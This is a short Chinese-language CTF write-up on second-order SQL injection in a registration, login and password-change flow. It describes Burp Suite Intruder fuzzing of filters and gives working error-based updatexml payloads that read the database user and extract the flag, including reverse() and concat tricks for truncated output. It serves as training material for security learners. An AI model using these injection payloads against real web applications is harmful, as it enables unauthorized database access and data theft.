记录CTF-二次注入

1、注册

zz\     zz\    用转义符来断开

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"zz\" and pwd='e11a45fc54767935c57df3b0f338448c'' at line 1

"zz\" and pwd='e11a45fc54767935c57df3b0f338448c'

2、然后用burpsuit进行测试 绕过的过滤

==================打开burpsuit  设置代理进行拦截,

==================然后在proxy 界面进行发送 ,发送至Intruder

==================目标不动,改动位置信息position,

clean 其他变量,然后添加username变量

username=§zz\§&password=zz\&email=1

attack type 选择cluster bomb的时候 在payloads里面可以选择 1、2参数

==================然后改动payloads type选择 runtimefile  选择文件 开始

%0d 没有被过滤  update xml

3、二次注入

原则只在 注册、登录 就在这里check  其他的类似 密码修改没有check 就有问题

username是一个注入点 很麻烦

通过中转脚本

中转脚本需要自己编写的引入模块,注意里面对应的方法,我们可以自己生成,

从注册 到登录 到更改密码   paramspost 或者 headers 或者 reposne 这都可以从repeater里面获取到

4、同时使用hackbar

确保hackbar正常使用,那么chrome 检查,然后 network一直往后拉,最后有hackbar,然后进行操作

装软件的时候坑比较多,建议慎重使用,例如重启浏览器,重启插件,重新刷新文件等等

load url  =====enable post===========username=zzz\  发现注入点

5、进行语句填写

username=zz"||updatexml(1,concat(1,(select(user()))),1)#

XPATH syntax error: 'root@localhost'

发现root账户

username=zz"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

regexp 匹配字符串 a f  regexp('^f')

XPATH syntax error: ':flag{SQL_1njecti0n_1s_fun_23334'

username=zz"||(updatexml(1,reverse(concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

发现显示不全,逆序输出

XPATH syntax error: '}343332_nuf_s1_n0itcejn1_LQS{gal'

reverse 可以改为substr("abcdef",2,2)

 

username=zz"||(updatexml(1,(concat((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x3a)),1))#

XPATH syntax error: '{SQL_1njecti0n_1s_fun_233343}:'

 

 

你可能感兴趣的:(网络安全)